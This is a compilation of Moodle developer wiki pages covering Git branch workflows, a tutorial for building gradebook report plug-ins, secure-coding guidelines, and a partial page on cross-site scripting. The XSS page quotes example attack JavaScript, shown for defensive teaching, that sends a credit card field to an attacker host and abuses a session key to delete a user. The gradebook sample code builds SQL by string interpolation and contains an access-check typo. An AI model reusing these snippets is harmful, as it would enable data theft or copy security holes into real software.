Your fork at Github is not updated automatically. To keep it synced with the upstream Moodle repository, you have to fetch the recent changes from the official moodle.git and push them to your public repository. To avoid problems with this it is strongly recommended that you never modify the standard Moodle branches. ''Remember: never commit directly into master and MOODLE_xx_STABLE branches.'' In other words, always create topic branches to work on. In Gitspeak, the master branch and MOODLE_xx_STABLE branches should be always fast-forwardable.

To keep your public repository up-to-date, we will register remote repository git://git.moodle.org/moodle.git under 'upstream' alias. Then we create a script to be run regularly that fetches changes from the upstream repository and pushes them to your public repository. Note that this procedure will not affect your local working directory.

To register the upstream remote:

git remote add upstream git://git.moodle.org/moodle.git

The following commands can be used to keep the standard Moodle branches at your Github repository synced with the upstream repository. You may wish to store them in a script so that you can run it every week after the upstream repository is updated.

git fetch upstream
for BRANCH in MOODLE_19_STABLE MOODLE_20_STABLE MOODLE_21_STABLE master; do
git push origin refs/remotes/upstream/$BRANCH:$BRANCH
done

=== How it works ===

The git-fetch command does not modify your current working dir (your checkout). It just downloads all recent changes from a remote repository and stores them into so called remote-tracking branches. The git-push command takes these remote-tracking branches from upstream and pushes them to Github under the same name. Understanding this fully requires a bit knowledge of Git internals - see gitrevisions(7) man page.

Note there is no need to switch the local branch during this. You can even execute this via cron at your machine. Just note that the upstream repository updates typically just once a week.

== Preparing a patch ==

As said earlier at this page, you never work on standard Moodle branches directly. Every time you are going to edit something, switch to a local branch. Fork the local branch off the standard branch you think it should be merged to. So if you are working on a patch for 1.9 or 2.0, fork the branch off MOODLE_19_STABLE or MOODLE_20_STABLE, respectively. Patches for the next [[Moodle versions|major version]] should be based on the master branch.

git checkout -b MDL-xxxxx-nasty-bug origin/master

Note that if you forget to specify the starting point, the branch is based on the currently checked-out branch. It may not be what you want. It is recommended to always specify the starting point.

To check the current branch, run

git branch

The current branch is highlighted.

Now go and fix the issue with your favorite IDE. Check the status of the files, view the change to be committed and finally commit the change:

vim filename.php
git status
git diff
git commit -a

Note that this is safe as the commit is recorded just locally, nothing is sent to any server yet (as it would in CVS). To see history of the commits, use

git log

Once your local branch contains the change (note that it may consists of several patches) and you are happy with it, publish the branch at your public repository:

git push

Because we did not specify explicit remote repository, the 'origin' is used. Because we did not specify the branch to push, the Git will use the current branch and push it to the remote repository under the same name (by default, this is a subject of your configuration. See push.default config variable).

Now as your branch is published, you can ask Moodle core developers to review it and eventually integrate it into the standard Moodle repository.

=== Checking if a branch has already been merged ===

After some time contributing to Moodle you would have a lot of branches both in your local repository and in your public repository. To prune their list and delete those that were accepted by upstream, use the following

git fetch upstream (1)
git branch --merged upstream/master (2)
git branch --merged upstream/MOODLE_20_STABLE (3)

The command (1) fetches the changes from your upstream repository at git.moodle.org (remember that git-fetch does not modify your working dir so it is safe to run it whenever). Command (2) and (3) print all branches that are merged into the upstream master branch and MOODLE_20_STABLE branch, respectively. To delete these local branches, use

git branch -d MDL-xxxxx-accepted-branch

The similar approach can be used to check the branches published at your origin repository at github.com

git fetch origin (1)
git fetch upstream
git branch -r --merged upstream/master (2)
git branch -r --merged upstream/MOODLE_20_STABLE (3)

The command (1) makes sure that you have all your branches from github.com recorded as the remote tracking branch locally. Commands (2) and (3) work the same as in the previous example but they list remote tracking branches only ([http://www.kernel.org/pub/software/scm/git/docs/git-branch.html see -r param]). To delete a branch at github.com, use

git push origin :MDL-xxxx-branch-to-delete

This syntax may look weird to you. However it is pretty logical. The general syntax of the git-push command is

git push <repository> <source ref>:<target ref>

so deleting a remote branch can be understood as pushing an "empty (null) reference" to it.

== Peer-reviewing someone else's code ==

To review a branch that someone else pushed into their public repository, you do not need to register a new remote (unless you work with such repository frequently, of course). Let us imagine your friend Alice pushed a work-in-progress branch called 'wip-feature' into her Github repository and asked you to review it. You need to know the read-only address of the repository and the name of the branch.

git fetch git://github.com/alice/moodle.git wip-feature

This will download all required data and will keep the pointer to the tip of the wip-feature branch in a local symbolic reference FETCH_HEAD. To see what's there on that branch, use

git log -p FETCH_HEAD

To see how a particular file looks at Alice's branch

git show FETCH_HEAD:admin/blocks.php

To create a new local branch called 'alice-wip-feature' containing the work by Alice, use

git checkout -b alice-wip-feature FETCH_HEAD

To merge Alice's work into your current branch:

git merge FETCH_HEAD

To see what would be merged into the current branch without actually modifying anything:

git diff ...FETCH_HEAD

== Rebasing a branch ==

Rebasing is a process when you cut off the branch from its current start point and transplant it to another point. Let us assume the following history exists:

A---B---C topic
/
D---E---F---G master

From this point, the result of the command:

git rebase master topic

would be:

A'--B'--C' topic
/
D---E---F---G master

and would end with 'topic' being your current branch.

You may be asked to rebase your branch submitted for the integration if the submitted branch was based on an outdated commit. The typical case is if you create a new branch as a fork off the upstream master branch on Tuesday. Then on Wednesday, the upstream master branch grows as all changes from the last integration cycle are merged to it. To make diff easy on Github for next weekly pull request review, you want to rebase your branch against the updated master.

git rebase master MDL-xxxxx-topic-branch

Note that rebasing effectively rewrites the history of the branch. '''Do not rebase the branch if there is a chance that somebody has already forked it and based their own branch on it.''' For this reason, many Git tutorials discourage from rebasing any branch that has been published. However in Moodle, all branches submitted for integration are potential subject of rebase (even though we try to not to do it often) and you should not base your own branches on them.

=== Conflicts during rebase ===

During the rebase procedure, conflicts may appear. git-status commands reports the conflicted files. Explore them carefully and fix them in your editor (like you would do with CVS). Then add the files with 'git add' command and continue.

vim conflicted.php
git add conflicted.php
git rebase --continue

== Applying changes from one branch to another ==

Most bugs are fixed at a stable branch (like MOODLE_20_STABLE) and the fix must be prepared for other branches, too (like MOODLE_21_STABLE and the main development branch - master). In Moodle, we do not merge stable branches into the master one. So usually the contributor prepares at least two branches - with the fix for the stable branch(es) and with the fix for the master branch.

If you have a patch prepared on a local branch (let us say MDL-xxxx-topic_20_STABLE), it is possible to re-apply it to another branch.

=== Cherry-picking a single commit ===

Let us have two local Git repositories ~/public_html/moodle21 containing local installation of Moodle 2.1 and ~/public_html/moodledev with the local installation of most recent development version of Moodle. They both use your public repository at github.com as the origin. You have a branch in moodle21 called MDL-xxxx-topic_21_STABLE that was forked off MOODLE_21_STABLE. It contains one commit. Now you want to re-apply this commit to a branch MDL-xxxx-topic in moodledev.

cd ~/public_html/moodledev
git checkout -b MDL-xxxx-topic origin/master (1)
git fetch ../moodle21 MDL-xxxx-topic_21_STABLE (2)
git cherry-pick FETCH_HEAD (3)

The command (1) creates new local branch forked off the CONTHERE The command (1) fetches all data needed to re-apply the topic branch and stores the pointer to the tip of that branch to FETCH_HEAD symbolic reference. The command (2) picks the tip of the branch (the top-most commit on it) and tries to apply it on the current branch. There is also a variant of the cherry-pick command that supports multiple commits (see its man page for details) but we will use another approach for that situation.

=== Applying a set of patches ===

If the branch MDL-xxxx-topic_21_STABLE from the previous example consists of several commits, it may be easier to use git-format-patch and git-am combo to re-apply the whole set of patches (aka patchset). Firstly you will export all commits from the topic branch to files.

cd ~/public_html/moodle21
mkdir .patches
git format-patch -o .patches MOODLE_21_STABLE..MDL-xxxx-topic_21_STABLE (1)

The command (1) takes all commits from the topic branch that are not in MOODLE_21_STABLE and exports them one by one to the output directory .patches. Look at the generated files. They contain the patch itself (in diff format) and additional information about the commit. You could eg send these files by email to a friend of yours for peer-review. We will use them in another repository.

cd ~/public_html/moodledev
git checkout -b MDL-xxxx-topic origin/master
git am -3 ../moodle21/.patches/* (1)

The command (1) applies all the files from the .patches directory. When a patch does not apply cleanly, the command tries fall back on 3-way merge (see the -3 parameter). If conflicts occur during the procedure, you can either deal with them and then use `git am --continue` or abort the whole procedure with `git am --abort`.

== See also ==

; Moodle forum discussions
* [http://moodle.org/mod/forum/discuss.php?d=168094 GIT help needed]
* [http://moodle.org/mod/forum/discuss.php?d=165236 Best way to manage CONTRIB code with GIT]
* [http://moodle.org/mod/forum/discuss.php?d=167063 Handy Git tip for tracking 3rd-party modules and plugins]
* [http://moodle.org/mod/forum/discuss.php?d=167730 Moodle Git repositories]
* [http://moodle.org/mod/forum/discuss.php?d=183409 Git help!! I don't understand rebase enough...]

; External resources
* [http://www.kernel.org/pub/software/scm/git/docs/everyday.html Everyday GIT With 20 Commands Or So]
* [http://gitref.org/ Git Reference]
* [http://progit.org/book/ Pro Git book]
* [http://blip.tv/scott-chacon/git-talk-4113729 Getting git by Scott Chacon] - an recording of an excellent 1-hour presentation that introducing git, including a simple introduction to what is going on under the hood.

[[Category:Git]]

[[ja:開発者用Git]]

Gradebook reports

2010-11-11T16:59:20Z

Mits: ja link

== Introduction ==
One of the great features of the new gradebook implementation in Moodle 1.9 is the support for plug-in reports. A few reports are already included in the release, but it is fast and easy to create new reports of any kind.

This page is a small tutorial on how to create a new report for the Moodle gradebook. The first section highlights the basic setup steps, the bare minimum to get your plug-in detected and usable. The second section gives an example of a possible implementation, although you are free to develop outside of these suggestions.

The simplest example report to look at while following this guide is '''grade/report/overview'''.

== Bare minimum ==

These steps all involve creating new files, but in all cases they can be copy-pasted from existing reports, to make your life easier.

1. Create a new folder under grade/report
grade/report/[newreport]
2. Create a /db sub-folder under the new report folder
grade/report/[newreport]/db
3. Create an access.php file in the db folder with the following content. You should change the capabilities as needed.
grade/report/[newreport]/db/access.php

<?php
$gradereport_[newreport]_capabilities = array(
'gradereport/[newreport]:view' => array(
'riskbitmask' => RISK_PERSONAL,
'captype' => 'read',
'contextlevel' => CONTEXT_COURSE,
'legacy' => array(
'student' => CAP_ALLOW,
'teacher' => CAP_ALLOW,
'editingteacher' => CAP_ALLOW,
'admin' => CAP_ALLOW
)
),
);
?>
4. Create a version.php file with the current dates:
grade/report/[newreport]/version.php
<?php
$plugin->version = 2007081000;
$plugin->requires = 2007081000;
?>
5.Create an index.php
grade/report/[newreport]/index.php
6.Create a language file for your report. Include at least the modulename, and optionally the strings for different capabilities.
grade/report/[newreport]/lang/en_utf8/gradereport_[newreport].php

Example from user report here:

$string['modulename'] = 'User report';
$string['user:view'] = 'View your own grade report';

You do not need to create a new link to your report, it will be automatically detected and added to the gradebook plugin drop-down menu, if you've followed all these steps!

This is all you need to do to create a new report! Now, of course, you'll want the code to actually DO something, usually fetch and display some data. The next section discusses one easy approach using flexitable.

== Possible step 7 ==

I also needed to include the '''settings.php''' file in my new ''grade\report\[directory name]'' directory. If the file was not present, i received this error '''"Section Error!"'''. Once i added the file to the grade\report\[directory name] directory, it corrected. The settings.php file is empty. I am using Moodle 1.9.

== Possible step 8 ==

If the report is made available to multiple users you may need to update the tables by going to the admin section of your Moodle installation, just like when you are upgrading. Then go the the define roles and make sure that your permissions are set correct. I'm using Moodle 1.9

== Extending the grade_report class ==

You are free to develop that class any way you want, but by using the existing methods set up in grade_report, you can avoid tedious repetition of code. We use flexitable for simple reports, as you can see in the user report (grade_report_user class). The rest of this tutorial will follow the path of flexitable.

=== New file ===
#Create a lib.php file (or copy it from other report).
grade/report/[newreport]/lib.php

#The lib.php contains an extension of the grade_report class, and should be named
grade_report_[newreport]

=== Grade_report class variables ===
The grade_report class makes the following variables available to your new class, if you use its constructor in your child class' constructor:

; courseid : Required by constructor
; gpr : Grade plugin return tracking object, required by constructor
; context : Required by constructor
; gtree : The grade_tree must be instantiated in child classes: not all reports need the whole tree
; prefs : Array of user preferences related to this report. Methods are given to get and set these easily
; gradebookroles : The roles for this report, pulled out of $CFG->gradebookroles
; baseurl : Base url for sorting by first/last name (not needed by all reports)
; pbarurl : Base url for paging
; page : Current page (for paging). Must be given to constructor if paging is required.
; lang_strings : Array of cached language strings (using get_string() all the time takes a long time!). A method is provided to replace get_string() and use this cache
; currentgroup : The current group being displayed.
; group_selector : A HTML select element used to select the current group.
; groupsql : An SQL fragment used to add linking information to the group tables.
; groupwheresql : An SQL constraint to append to the queries used by this object to build the report.

=== Grade_report class methods ===

The grade_report class has the following methods which you can use, provided the right steps have been taken to initialise the object first:
; get_pref() : Given the name of a user preference (without grade_report_ prefix), locally saves then returns the value of that preference. If the preference has already been fetched before, the saved value is returned. If the preference is not set at the User level, the $CFG equivalent is given (site default).
; set_pref() : Uses set_user_preferences() to update the value of a user preference. If 'default' is given as the value, the preference will be removed in favour of a higher-level preference ($CFG->$pref_name usually)
; process_data() : Abstract method, needs to be implemented by child classes if they want to handle user form submissions on the report they want to handle user actions on the report
; process_action() : Abstract method, needs to be implemented by child classes if they want to handle user actions on the report
; get_grade_clean() : format grade using lang specific decimal point and thousand separator the result is suitable for printing on html page
; format_grade() : Given a user input grade, format it to standard format i.e. no thousand separator, and . as decimal point
; get_lang_string() : First checks the cached language strings, then returns match if found, or uses get_string(). Use this for any lang_strings in the grades.php file.
; grade_to_percentage() : Computes then returns the percentage value of the grade value within the given range.
; get_grade_letters() : Fetches and returns an array of grade letters indexed by their grade boundaries, as stored in preferences.
; get_numusers() : Fetches and returns a count of all the users that will be shown on this page.
; setup_groups() : Sets up this object's group variables, mainly to restrict the selection of users to display.
; get_sort_arrow() : Returns an arrow icon inside an <a> tag, for the purpose of sorting a column.
; get_module_link() : Builds and returns a HTML link to the grade or view page of the module given. If no itemmodule is given, only the name of the category/item is returned, no link.

=== Report child class ===

Assuming you are using flexitable, your child class needs the following variable and methods:
$table : The flexitable that will hold the data

*grade_report_[newreport]() : Constructor. You can set up anything here, but you must call the parent constructor with the 3 required params:
parent::grade_report($COURSE->id, $gpr, $context);
The $gpr and $context variables are normally set up in grade/report/[newreport]/index.php

*setup_table() : Prepares the headers and attributes of the flexitable. Example used for the very simple overview report:
// setting up table headers
$tablecolumns = array('coursename', 'grade', 'rank');
$tableheaders = array($this->get_lang_string('coursename', 'grades'),
$this->get_lang_string('grade'),
$this->get_lang_string('rank', 'grades'));

$this->table = new flexible_table('grade-report-overview-'.$this->user->id);

$this->table->define_columns($tablecolumns);
$this->table->define_headers($tableheaders);
$this->table->define_baseurl($this->baseurl);

$this->table->set_attribute('cellspacing', '0');
$this->table->set_attribute('id', 'overview-grade');
$this->table->set_attribute('class', 'boxaligncenter generaltable');

$this->table->setup();

*fill_table() : After setup_table(), gathers and enters the data in the table. Again, from the overview report:
global $CFG;
$numusers = $this->get_numusers();

if ($courses = get_courses('all', null, 'c.id, c.shortname')) {
foreach ($courses as $course) {
// Get course grade_item
$grade_item_id = get_field('grade_items', 'id', 'itemtype',
'course', 'courseid', $course->id);

// Get the grade
$finalgrade = get_field('grade_grades', 'finalgrade', 'itemid',
$grade_item_id, 'userid', $this->user->id);

/// prints rank
if ($finalgrade) {
/// find the number of users with a higher grade
$sql = "SELECT COUNT(DISTINCT(userid))
FROM {$CFG->prefix}grade_grades
WHERE finalgrade > $finalgrade
AND itemid = $grade_item_id";
$rank = count_records_sql($sql) + 1;

$rankdata = "$rank/$numusers";
} else {
// no grade, no rank
$rankdata = "-";
}

$this->table->add_data(array($course->shortname, $finalgrade, $rankdata));
}

return true;
} else {
notify(get_string('nocourses', 'grades'));
return false;
}
*print_table() : Just does what its name says...
ob_start();
$this->table->print_html();
$html = ob_get_clean();
if ($return) {
return $html;
} else {
echo $html;
}

*process_data() and process_action() : You can implement these two methods if you need to handle data and actions.

=== Set up the index.php file ===
Here is the simple example from the overview report (grade/report/overview).

require_once '../../../config.php';
require_once $CFG->libdir.'/gradelib.php';
require_once $CFG->dirroot.'/grade/lib.php';
require_once $CFG->dirroot.'/grade/report/overview/lib.php';

$courseid = optional_param('id', $COURSE->id, PARAM_INT);
$userid = optional_param('userid', $USER->id, PARAM_INT);

/// basic access checks
if (!$course = get_record('course', 'id', $courseid)) {
print_error('nocourseid');
}
require_login($course);

if (!$user = get_complete_user_data('id', $userid)) {
error("Incorrect userid");
}

$context = get_context_instance(CONTEXT_COURSE, $course->id);
$usercontext = get_context_instance(CONTEXT_USER, $user->id);
require_capability('gradereport/overview:view', $context);

$access = true;
if (has_capability('moodle/grade:viewall', $context)) {
//ok - can view all course grades

} else if ($user->id == $USER->id and has_capability('moodle/grade:view', $context) and $course->showgrades) {
//ok - can view own grades

} else if (has_capability('moodle/grade:viewall', $usercontext) and $course->showgrades) {
// ok - can view grades of this user- parent most probably

} else {
$acces = false;
}

/// return tracking object
$gpr = new grade_plugin_return(array('type'=>'report', 'plugin'=>'overview', 'courseid'=>$course->id, 'userid'=>$userid));

/// last selected report session tracking
if (!isset($USER->grade_last_report)) {
$USER->grade_last_report = array();
}
$USER->grade_last_report[$course->id] = 'overview';

/// Build navigation
$strgrades = get_string('grades');
$reportname = get_string('modulename', 'gradereport_overview');

$navigation = grade_build_nav(__FILE__, $reportname, $course->id);

/// Print header
print_header_simple($strgrades.': '.$reportname, ': '.$strgrades, $navigation,
'', '', true, '', navmenu($course));

/// Print the plugin selector at the top
print_grade_plugin_selector($course->id, 'report', 'overview');

if ($access) {

//first make sure we have proper final grades - this must be done before constructing of the grade tree
grade_regrade_final_grades($course->id);

// Create a report instance
$report = new grade_report_overview($userid, $gpr, $context);

$gradetotal = 0;
$gradesum = 0;

// print the page
print_heading(get_string('modulename', 'gradereport_overview'). ' - '.fullname($report->user));

if ($report->fill_table()) {
echo $report->print_table(true);
}

} else {
// no access to grades!
echo "Can not view grades."; //TODO: localize
}
print_footer($course);

== Conclusion ==
This short tutorial doesn't explain how to actually create a ''useful'' report. That part is essentially up to you, and there are no hard rules about how to do it. Instead, this tutorial explains how to setup a "stub" report, a basic framework with a set of tools and variables you can use to create a fully functional and essential report for your Moodle needs. Please share your report-building experiences and tribulations with the Moodle community through the forum.

== See also ==

* [http://moodle.org/mod/forum/discuss.php?d=69223&mode=3 Gradebook Development ideas] forum discussion
* Using Moodle [http://moodle.org/mod/forum/discuss.php?d=51107 New gradebook for Moodle] forum discussion
* [[Grades]]

[[Category:Grades]]
[[Category:Grades]]

[[ja:開発:評定表レポートチュートリアル]]

Security

2010-03-10T15:27:56Z

Mits: ja link

This page describes how to write secure Moodle code that is not vulnerable to anything that evil people my try to throw at it.

The page is organised around the common types of security vulnerability. For each one, it explains
# what the danger is,
# how Moodle is designed to avoid the problem,
# what you need to do as a Moodle developer to keep your code secure, and
# what you can do as an administrator, to make your Moodle more secure.
The explanation of each vulnerability is on a separate page, linked to in the list below.

This page also summarises all the key guidelines.

==Security of web applications==

===Secure web app requirements===
Some companies require maximum level of security for web applications. You can often see similar general recommendations:
* separate administration backend
* no sensitive information stored in web application
* communication has to be encrypted using SSL
* log all user actions
* server applications have to be completely separated
* no files uploaded by users on server
* no rich text entered by users on server (limited plain text only)
* validate user identity and actions via separate channel
* always keep every software up-to-date
* no 3rd party browser extensions recommended
* use only one web page, do not open multiple windows with different sites, close/open browser before and after using the secure app

Web based banking systems are the best examples of these ''secure'' web applications. Security is the top most priority here, security incidents may cost money - either the customer, bank or insurance company, public image of the institution may be damaged too. Limiting factors may be cost of application development, maintenance, usability but also the cost of communication via the alternative channels.

===Balanced security===
As you can see many web applications today violate the security design rules. For example web based mail system have to accept rich text messages with file attachments, mail massages often contain very sensitive information. In fact the Web 2.0 idea goes directly agains the security design rules, everybody is submitting content - only app designer/administrator should be adding trusted content.

When designing web applications we have to find out what our users are supposed to be doing and then find some reasonable balance between features and security.

==Moodle security design==
The security of web application depends on the intended use and features available for each type of user.

===Types of users===

====Administrators====
Administrators have following privileges:
* change all settings
* create courses
* access all courses
* modify language packs
* modify all users

Indirectly administrators are allowed to execute shell and PHP code. Moodle administrators may be partially restricted by hardcoding settings in config.php.
Low level server administrators can not be restricted because they can read content of PHP files and may modify them.

All administrators have to be fully trusted.

====Teachers====
Teachers are usually creating course content, enrolling students and teaching. They usually need following privileges:
* upload files and submit html texts
* create and manage activities
* access student grades and other personal information

Uploading of files with javascript, flash and other scripted is often considered to be a security risk. Unfortunately we can not remove these risks from teacher roles because even basic SCORM packages consist of html and javascript which needs to use user session.

Browser trusts everything coming from one server, it does not know anything about our courses or origin of data. Once the file is uploaded to server it becomes part of the server application. It is not possible to differentiate between wanted and unwanted code stored on the server.

All teachers with risky capabilities have to be trusted, it is not possible to give teacher access to students. In theory teachers may use XSS attacks to gain administrator access.

Technically it would be possible to create system where teachers can not attack other users but it would prevent all javascript, flash, SCORM, java, html forms, SVG, etc.

====Students====
Students are participating in courses, they are not trusted. Students need following privileges:
* post formatted text with inline images and attachments
* upload binary documents

Uploaded files must not be opened directly in browser from the same server. Instead the files need to be served from different domain, or server has to force download of all files to local hard drive before opening them. Serving of untrusted files from different domain will be implemented in 2.0.

All student submitted text has to be sanitised before printing the text on any page, this prevent XSS attacks on other users but at the same time prevents flash, javascript, SVG and all other HTML scripting. There are two types of html cleaning - less reliable blacklisting (KSES) and more robust whitelisting (HTML Purifier).

====Guests====
For security reasons unregistered users can not be allowed to upload any files or submit any text that is stored in database. Guests could try to spam other users, exploit problems in html cleaning routines, abuse other vulnerabilities or try social engineering based attacks.

Sites with enabled user sign-up via email have to take extra care in order to prevent spamming and other types of attacks.

===Capability risks===

Moodle is very flexible system, administrators may define multiple roles. Each role is a set of capabilities defined at system level, roles may be modified via overrides at lower context levels. [[Risks]] are part of description of each capability, administrators have to make sure only trusted users get potentially dangerous capabilities.

==Common types of security vulnerability==

* [[Security:Unauthenticated access|Unauthenticated access]]
* [[Security:Unauthorised access|Unauthorised access]]
* [[Security:Cross-site_request_forgery|Cross-site request forgery]] (XSRF)
* [[Security:Cross-site scripting|Cross-site scripting]] (XSS)
* [[Security:SQL injection|SQL injection]]
* [[Security:Command-line injection|Command-line injection]]
* [[Security:Data-loss|Data-loss]]
* [[Security:Confidential information leakage|Confidential information leakage]]
* [[Security:Configuration information leakage|Configuration information leakage]]
* [[Security:Session fixation|Session fixation]]
* [[Security:Denial of service|Denial of service]]
* [[Security:Brute-forcing login|Brute-forcing login]]
* [[Security:Insecure configuration management|Insecure configuration management]]
* [[Security:Buffer overruns, and other platform weaknesses|Buffer overruns, and other platform weaknesses]]
* [[Security:Social engineering|Social engineering]]

==Summary of the guidelines==

===Authenticate the user===

* With very few exceptions, every script should call '''require_login''' or '''require_course_login''' as near the start as possible.

===Verify course and module access===
* all course areas have to be protected by "require_login" or "require_course_login" with correct $course parameter
* all module areas have to be protected by "require_login" or "require_course_login" with correct $course and $cm parameter

===Check permissions===

* Before allowing the user to see anything or do anything, call to '''has_capability''' or '''require_capability'''.
* Capabilities should be annotated with the appropriate '''[[Hardening_new_Roles_system#Basic_risks|risks]]'''.
* If appropriate, restrict what people can see according to '''groups'''.

===Don't trust any input from users===

* Use '''[[lib/formslib.php|moodleforms]]''' whenever possible, with an appropriate '''setType''' method call for each field.
* Before performing actions, use '''is_post_with_sesskey''' to check sesskey and that you are handling a POST request.
** In Moodle 1.9, use '''data_submitted() && confirm_sesskey()''' instead.
* Before destroying large amounts of data, add a confirmation step.
* If not using a moodleform, clean input using '''optional_param''' or '''required_param''' with an appropriate '''PARAM_...''' type.
** Do not access $_GET, $_POST or $_REQUEST directly.
** Group optional_param and required_param calls together at the top of the script, to make them easy to find.

Similarly, clean data from other external resources like RSS feeds before use.

===Clean and escape data before output===

* Use '''s''' or '''p''' to output plain text content.
* use '''format_string''' to output content with minimal HTML like multi-lang spans (for example, course and activity names).
* Use '''format_text''' to output all other content.
** Only use $options->noclean if it requires a capability with RISK_XSS to input that content (for example web page resources).
* Before Moodle 2.0, input from optional_param or required_param must have [[Developer:Slashes|'''stripslashes''' or '''stripslashes_recursive''']] applied if it is being output directly, rather than being stored in the database.
* Data destined for JavaScript should be escaped using '''$PAGE->requires->data_for_js''' (Moodle 2.0) or '''addslashes_js''' (Moodle 1.9).

See [[Output functions]] for more details.

===Escape data before storing it in the database===

* Use the XMLDB library. This takes care of most escaping issues for you.
* When you must use custom SQL code, '''use place-holders''' to insert values into the queries.
** Before Moodle 2.0, you have to build SQL by concatenating strings. Take particular care, especially with quoting values, to avoid SQL injection vulnerabilities.
* Before Moodle 2.0, data loaded from the database must have [[Developer:Slashes|'''addslashes''' or '''addslashes_object''']] applied to it before it can be written back to the database. (addslashes should no longer be use anywhere in Moodle 2.0 code.)
* In Moodle 2.0 variables must be passed to database queries through bound parameters

===Escape data before using it in shell commands===

* Avoid shell commands if at all possible.
** Look to see if there is a PHP library instead.
* If you can't avoid shell commands, use '''escapeshellcmd''' and '''escapeshellarg'''.

===Log every request===

* Every script should call '''add_to_log'''.

===Other good practice===

... that helps with security.

* Structure your code nicely, minimising the use of global variables. This makes the flow of data, and hence security, easier to verify.
* Initialise objects ($x = new stdClass;) and arrays ($x = array()) before you first use them.
* Test every input field with tricky input to ensure that it is escaped and un-escaped the right number of times everywhere, and that Unicode characters are not corrupted. My standard test input is:
<nowiki>< > & &lt; &gt; &amp; ' \' 碁 \ \\</nowiki>

==See also==

* [[Coding]]
* The [http://cwe.mitre.org/top25/ 2010 CWE/SANS Top 25 Most Dangerous Programming Errors] - this is a generic list of common security mistakes, produced by a group of security experts. The above Moodle-specific guidelines cover most of these general points.

{{CategoryDeveloper}}

[[Category:Security]]
[[Category:Coding guidelines|Security]]

[[ja:開発:セキュリティ]]

Security:Cross-site scripting

2010-02-16T16:24:07Z

Mits: ja link

This page forms part of the [[Security|Moodle security guidelines]].

==What is the danger?==

Normally, web browser prevent JavaScript from server from affecting content that comes from another server. For example, suppose that on your Moodle page (<nowiki>http://mymooodle.com/</nowiki>, you have an iframe displaying an advert from <nowiki>http://makemerich.com/</nowiki>. Then, and JavaScript code in the advert cannot access anything on your page.

In Moodle, we actually let users type in HTML, then we display that HTML as part of our web site. Therefore, any JavaScript they manage to include will have full access to everything on the page.

Why is that a problem? Well, suppose Evil Hacker manages to get some code like
<code javascript>
document.write('<img width="1" height="1" ' +
'src="http://evilhacker.com/savedata.php?creditcard=' +
document.getElementById('creditcard').value + '" />');
</code>
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.

Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example
<code javascript>
document.write('<img width="1" height="1" ' +
'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
document.getElementById('sesskey').value + '" />');
</code>
Or even more sophisticated, the JavaScript to do that as a POST request, in a forum where an Administrator would go, would be very bad.

Note that, at least in Internet Explorer, JavaScript can be hidden in CSS style information, as well as in the HTML. Flash and Java applets can also be used to execute scripting, as well as the browser's JavaScript engine.

Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.

==How Moodle avoids this problem==

The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.

===Escaping output===

Moodle divides content that has been input by the user into four categories:
# Plain text content. For example, a student's response to a short answer question.
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
# HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
# HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.

Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &lt;. If that is done, there is no way that the input can be interpreted as JavaScript.

===Cleaning input===

The other part of the protection is cleaning up data as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.

However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.

===Escaping output 2 - JavaScript===

The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like
<code php>
echo '<script type="text/javascript">';
echo 'alert("' . $userinput . '");';
echo '</script>';
</code>
and Evil hacker can make $userinput equal to something like '''"); /* Do something evil. */ (''' then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.

In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using '''$PAGE->requires->data_for_js''' or '''$PAGE->requires->js_function_call'''. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.

Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the '''addslashes_js''' function for safely encoding PHP strings for inclusion in JavaScript code.

==What you need to do in your code==

* Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
* Alternatively, use a '''[[lib/formslib.php|moodleforms]]''', with appropriate ->setType calls in the form definition.
* Clean or escape content appropriately on output.
** Use '''s''' or '''p''' to output plain text content (type 1 above).
** use '''format_string''' to output content with minimal HTML like multi-lang spans (type 2 above).
** Use '''format_text''' to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
* Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
* When sending data to JavaScript code:
** In Moodle 2.0 and later, use the '''$PAGE->requires->data_for_js''' or ''$PAGE->requires->js_function_call''' methods.
** In Moodle 1.9 and earlier, escape the data with '''addslashes_js''' before printing it into the JavaScript code.

==What you need to do as an administrator==

* Do not allow a user to have a capability with RISK_XSS unless you trust them.
** The [[Security overview]] report can help you check this.

==See also==

* [[Security]]
* [[Coding]]

{{CategoryDeveloper}}
[[Category:Security]]

[[ja:開発:セキュリティ:クロスサイトスクリプティング]]

Security:Cross-site scripting

2010-02-16T16:23:50Z

Mits: ja link

This page forms part of the [[Security|Moodle security guidelines]].

==What is the danger?==

